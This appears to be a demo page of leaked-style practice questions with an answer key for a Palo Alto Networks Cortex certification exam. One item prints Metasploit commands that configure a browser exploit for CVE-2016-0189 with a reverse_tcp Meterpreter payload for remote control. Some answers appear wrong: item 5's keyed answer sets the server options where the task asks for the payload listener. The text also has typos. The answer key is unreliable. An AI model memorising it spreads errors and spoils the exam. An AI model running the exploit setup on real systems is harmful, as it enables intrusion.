Higher Quality

Better Service!

EXAM SELL

Certified IT practice exam authority

Accurate study guides, High passing rate!
Exam Sell provides update free of charge in one year!

Exam : **PSE Cortex**

Title : Alo Alto Networks System Engineer - Cortex Professional

Version : DEMO

1.An EDR project was initiated by a CISO.
Which resource will likely have the most heavy influence on the project?
A. desktop engineer
B. SOC manager
C. SOC analyst IT
D. operations manager
Answer: B

2.A customer wants to modify the retention periods of their Threat logs in Cortex Data Lake.
Where would the user configure the ratio of storage for each log type?
A. Within the TMS, create an agent settings profile and modify the Disk Quota value
B. It is not possible to configure Cortex Data Lake quota for specific log types.
C. Go to the Cortex Data Lake App in Cloud Services, then choose Configuration and modify the Threat Quota
D. Write a GPO for each endpoint agent to check in less often
Answer: C

3.The certificate used for decryption was installed as a trusted toot CA certificate to ensure communication between the Cortex XDR Agent and Cortex XDR Management Console.
What action needs to be taken if the administrator determines the Cortex XDR Agents are not communicating with the Cortex XDR Management Console?
A. add paloaltonetworks.com to the SSL Decryption Exclusion list
B. enable SSL decryption
C. disable SSL decryption
D. reinstall the root CA certificate
Answer: D

4.In Cortex XDR Prevent, which three matching criteria can be used to dynamically group endpoints? (Choose three.)
A. Domain/workgroup membership
B. quarantine status
C. hostname
D. OS
E. attack threat intelligence tag
Answer: B,C,D

5.A test for a Microsoft exploit has been planned. After some research Internet Explorer 11 CVE-2016-0189 has been selected and a module in Metasploit has been identified (exploit/windows/browser/ms16_051_vbscript)
The description and current configuration of the exploit are as follows;

```
msf exploit(ms16_051_vbscript) > show options

Module options (exploit/windows/browser/ms16_051_vbscript):
Name       Current Setting    Required  Description
--------   ----------------   --------  -----------
SRVHOST    10.0.0.10          yes       The local host to listen on.
SRVPORT    8080               yes       The local port to listen on.
SSL        false              no        Negotiate SSL for incoming connections
SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
URIPATH                       no        The URI to use for this exploit (default is random)
```

The admin needs to perform the following steps:

- Configure a reverse_tcp meterpreter payload
- Set up the meterpreter payload to listen in IP 10.0.0.10
- Set up the meterpreter payload to listen in port 443
- Configure the URL to listen in a path with name "survey"

What is the remaining configuration?

A)

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set SSLCert survey
set LHOST 10.0.0.10
set LPORT 8080
```

B)

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.10
set LPORT 443
set URIPATH survey
```

C)

```
set PAYLOAD windows/x64/powershell_bind_tcp
set SRVHOST 10.0.0.10
set SRVPORT 443
set URIPATH survey
```

D)

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set SRVHOST 10.0.0.10
set SRVPORT 443
set URIPATH survey
```

A. Option A

B. Option B

C. Option C

D. Option D

Answer: D